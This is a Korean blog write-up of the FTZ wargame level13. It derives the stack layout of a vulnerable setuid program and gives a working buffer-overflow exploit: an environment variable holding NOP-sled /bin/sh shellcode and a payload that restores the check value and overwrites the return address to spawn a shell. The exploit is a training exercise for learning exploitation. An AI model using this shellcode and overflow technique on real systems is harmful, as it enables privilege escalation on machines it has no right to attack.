FTZ level13

Posted by dw0rdptr
2015. 3. 17. 21:11 System/FTZ

-hint

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
#include <stdlib.h> 
main(int argc, char *argv[]){   
 
    long i=0x1234567;  
    char buf[1024];   
 
    setreuid( 30943094 );   
    
    if(argc > 1)   
        strcpy(buf,argv[1]);   
 
    if(i != 0x1234567)
{   
        printf(" Warnning: Buffer Overflow !!! \n");   
        kill(0,11);   
    }
}
cs



gdb로 디스어셈블을 한결과 

<main+3>    sub      $0x418,%esp    0x418=1048


스택에 할당된 공간은 1048이다


높은주소

----------

  ret[4]                          자라는방향↓

----------

  sfp[4]

----------

dummy1[?]

----------

dummy2[?]

----------

i=0x1234567

----------

dummy3[?]

----------

buf[1024]                        

----------

낮은주소


소스코드를 보면 i에 0x1234567이라는 값이 없으면 프로그램이 강제로 종료된다


i에 저장된 값이 바뀌게되면 Warning : Buffer Overflow ! ! !라는 경고문이 뜨고

Segmentation fault 메시지와 함께 kill함수에 의해 프로세스가 종료된다.


i전까지 A로 채우고 i에 0x1234567을 입력해준다음 ret전까지 다시 A로 채워준다

그리고 ret에 환경변수 주소를 채우면 쉘을 획득하게 된다


일단 A를 1024바이트 부터 계속 하나씩 더해서 buf와 i 사이의 dummy1의크기를 구한다


./attackme `python -c 'print "A" * 1024'부터


.....

                       

./attackme `python -c 'print "A" * 1036'`까지 입력해보니


 Warnning: Buffer Overflow !!! 

Segmentation fault



드디어 떴다!


여기서 i전까지 A를 에러가 뜨기 바로 전인 1035개가 아니라 1036개를 채워야 한다

왜그런지 간단하게 설명하자면 


[A][A][A][\0]                   

           [01][23][45][67] →  i


이런식으로 끝에 null값이 들어가고 뒤에 문자열을 추가하면 null값이 사라지고 그위치부터 입력이 시작되기 때문에 

처음 경고문이 뜨는 1036개를 채워야한다


buf+dumm3=1036이므로


dummy3의 크기는 12


dummy1+2의 크기는 1048-buf(1024)+dummy3(12)+i(4), 1048-1040=8



낮은주소 | buf[1024] | dummy3[12] | i [4] | dummy1+2[8] | fsp[4] | ret[4] | 높은주소


이제 환경변수와 공격코드를 짜는일만 남았다.


환경변수

export shellcode=`python -c 'print "\x90"*50+ "\x31\xc0\x31\xd2\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x52\x53\x89\xe1\xb0\x0b\xcd\x80"'`


환경변수 shellcode의 주소는 0xbffffeda



따라서


공격코드는

./attackme `python -c 'print "A"*1036 + "\x67\x45\x23\x01" + "A"*12 + "\xda\xfe\xff\xbf"'`


level14 passward


'System > FTZ' 카테고리의 다른 글

FTZ level15  (0) 2015.03.17
FTZ level14  (0) 2015.03.17
FTZ level12  (0) 2015.03.17
FTZ level11  (0) 2015.03.17
FTZ level10  (0) 2015.03.17